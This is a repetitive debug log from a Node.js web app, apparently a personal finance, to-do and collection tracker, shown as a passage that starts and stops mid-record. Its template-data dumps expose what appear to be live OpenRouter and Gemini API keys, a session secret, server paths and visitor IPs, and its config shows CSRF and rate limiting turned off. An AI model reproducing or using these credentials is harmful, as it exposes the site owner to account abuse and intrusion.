  forbiddenUrl: '/login'
}
2026-07-21T20:53:46.914Z server-connect:output restrict: undefined
2026-07-21T22:41:23.236Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-21T22:41:24.997Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-21T22:41:25.824Z server-connect:setup:upload Upload middleware configured.
2026-07-21T22:41:25.824Z server-connect:secure CSRF Protection initialized
2026-07-21T22:41:25.827Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-21T22:41:25.829Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-21T22:41:25.831Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-21T22:41:25.833Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-21T22:41:25.839Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-21T22:41:25.843Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-21T22:41:25.860Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-21T22:41:25.870Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-21T22:41:25.874Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-21T22:41:25.876Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-21T22:41:25.878Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-21T22:41:25.882Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-21T22:41:25.888Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-21T22:41:25.897Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-21T22:41:25.902Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-21T22:41:25.974Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-21T22:41:25.975Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-21T22:41:25.980Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-21T22:41:25.985Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-21T22:41:25.989Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-21T22:41:25.991Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-21T22:41:26.000Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-21T22:41:26.000Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-21T22:41:26.007Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-21T22:41:26.009Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-21T22:41:26.013Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-21T22:41:26.015Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-21T22:41:26.017Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-21T22:41:26.022Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-21T22:41:26.024Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-21T22:41:26.026Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-21T22:41:26.028Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-21T22:41:26.032Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-21T22:41:26.034Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-21T22:41:26.042Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-21T22:41:26.046Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-21T22:41:26.048Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-21T22:41:26.059Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-22T09:05:10.918Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-22T09:05:13.424Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-22T09:05:14.285Z server-connect:setup:upload Upload middleware configured.
2026-07-22T09:05:14.286Z server-connect:secure CSRF Protection initialized
2026-07-22T09:05:14.291Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-22T09:05:14.294Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-22T09:05:14.295Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-22T09:05:14.298Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-22T09:05:14.303Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-22T09:05:14.306Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-22T09:05:14.322Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-22T09:05:14.335Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-22T09:05:14.340Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-22T09:05:14.341Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-22T09:05:14.341Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-22T09:05:14.346Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-22T09:05:14.351Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-22T09:05:14.361Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-22T09:05:14.364Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-22T09:05:14.435Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-22T09:05:14.438Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-22T09:05:14.441Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-22T09:05:14.448Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-22T09:05:14.452Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-22T09:05:14.452Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-22T09:05:14.461Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-22T09:05:14.463Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-22T09:05:14.469Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-22T09:05:14.472Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-22T09:05:14.476Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-22T09:05:14.478Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-22T09:05:14.480Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-22T09:05:14.485Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-22T09:05:14.488Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-22T09:05:14.490Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-22T09:05:14.492Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-22T09:05:14.496Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-22T09:05:14.498Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-22T09:05:14.504Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-22T09:05:14.507Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-22T09:05:14.510Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-22T09:05:14.519Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-22T09:05:15.009Z server-connect:router Serving templateView /
2026-07-22T09:05:15.011Z server-connect:app Executing action step identify
2026-07-22T09:05:15.011Z server-connect:app options: { provider: 'security' }
2026-07-22T09:05:15.014Z server-connect:auth No login cookie found
2026-07-22T09:05:15.014Z server-connect:output identity: false
2026-07-22T09:05:15.014Z server-connect:app Executing action step restrict
2026-07-22T09:05:15.014Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-22T09:05:15.018Z server-connect:output restrict: undefined
2026-07-22T09:05:15.125Z server-connect:router Serving templateView /login
2026-07-22T09:05:15.131Z server-connect:app Executing action step identify
2026-07-22T09:05:15.131Z server-connect:app options: { provider: 'security' }
2026-07-22T09:05:15.131Z server-connect:auth No login cookie found
2026-07-22T09:05:15.131Z server-connect:output identity: false
2026-07-22T09:05:15.131Z server-connect:router Render template layouts/authentication
2026-07-22T09:05:15.132Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '44.220.233.148',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-23T09:05:15.123Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '44.220.233.148',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '44.220.233.148',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-22T12:43:48.390Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-22T12:43:50.659Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-22T12:43:51.522Z server-connect:setup:upload Upload middleware configured.
2026-07-22T12:43:51.522Z server-connect:secure CSRF Protection initialized
2026-07-22T12:43:51.528Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-22T12:43:51.528Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-22T12:43:51.531Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-22T12:43:51.532Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-22T12:43:51.538Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-22T12:43:51.544Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-22T12:43:51.558Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-22T12:43:51.570Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-22T12:43:51.574Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-22T12:43:51.575Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-22T12:43:51.577Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-22T12:43:51.580Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-22T12:43:51.587Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-22T12:43:51.596Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-22T12:43:51.601Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-22T12:43:51.608Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-22T12:43:51.610Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-22T12:43:51.616Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-22T12:43:51.622Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-22T12:43:51.626Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-22T12:43:51.629Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-22T12:43:51.637Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-22T12:43:51.637Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-22T12:43:51.643Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-22T12:43:51.647Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-22T12:43:51.650Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-22T12:43:51.650Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-22T12:43:51.654Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-22T12:43:51.659Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-22T12:43:51.662Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-22T12:43:51.662Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-22T12:43:51.666Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-22T12:43:51.670Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-22T12:43:51.670Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-22T12:43:51.676Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-22T12:43:51.682Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-22T12:43:51.682Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-22T12:43:51.692Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-22T12:43:52.183Z server-connect:router Serving templateView /
2026-07-22T12:43:52.229Z server-connect:app Executing action step identify
2026-07-22T12:43:52.229Z server-connect:app options: { provider: 'security' }
2026-07-22T12:43:52.242Z server-connect:auth No login cookie found
2026-07-22T12:43:52.242Z server-connect:output identity: false
2026-07-22T12:43:52.242Z server-connect:app Executing action step restrict
2026-07-22T12:43:52.242Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-22T12:43:52.247Z server-connect:output restrict: undefined
2026-07-22T12:43:53.526Z server-connect:router Serving templateView /login
2026-07-22T12:43:53.527Z server-connect:app Executing action step identify
2026-07-22T12:43:53.527Z server-connect:app options: { provider: 'security' }
2026-07-22T12:43:53.527Z server-connect:auth No login cookie found
2026-07-22T12:43:53.527Z server-connect:output identity: false
2026-07-22T12:43:53.527Z server-connect:router Render template layouts/authentication
2026-07-22T12:43:53.528Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'sec-ch-ua': '"Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '34.174.107.91',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-23T12:43:53.524Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.174.107.91',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    'HTTP_SEC_CH-UA': '"Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '34.174.107.91',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-22T13:30:16.172Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-22T13:30:17.861Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-22T13:30:18.724Z server-connect:setup:upload Upload middleware configured.
2026-07-22T13:30:18.724Z server-connect:secure CSRF Protection initialized
2026-07-22T13:30:18.732Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-22T13:30:18.732Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-22T13:30:18.734Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-22T13:30:18.736Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-22T13:30:18.742Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-22T13:30:18.746Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-22T13:30:18.761Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-22T13:30:18.775Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-22T13:30:18.781Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-22T13:30:18.781Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-22T13:30:18.782Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-22T13:30:18.785Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-22T13:30:18.791Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-22T13:30:18.801Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-22T13:30:18.804Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-22T13:30:18.878Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-22T13:30:18.878Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-22T13:30:18.883Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-22T13:30:18.888Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-22T13:30:18.892Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-22T13:30:18.894Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-22T13:30:18.901Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-22T13:30:18.904Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-22T13:30:18.910Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-22T13:30:18.912Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-22T13:30:18.916Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-22T13:30:18.918Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-22T13:30:18.920Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-22T13:30:18.926Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-22T13:30:18.928Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-22T13:30:18.930Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-22T13:30:18.932Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-22T13:30:18.936Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-22T13:30:18.936Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-22T13:30:18.943Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-22T13:30:18.947Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-22T13:30:18.949Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-22T13:30:18.959Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-22T13:30:19.581Z server-connect:router Serving templateView /login
2026-07-22T13:30:19.584Z server-connect:app Executing action step identify
2026-07-22T13:30:19.584Z server-connect:app options: { provider: 'security' }
2026-07-22T13:30:19.587Z server-connect:auth No login cookie found
2026-07-22T13:30:19.587Z server-connect:output identity: false
2026-07-22T13:30:19.587Z server-connect:router Render template layouts/authentication
2026-07-22T13:30:19.588Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
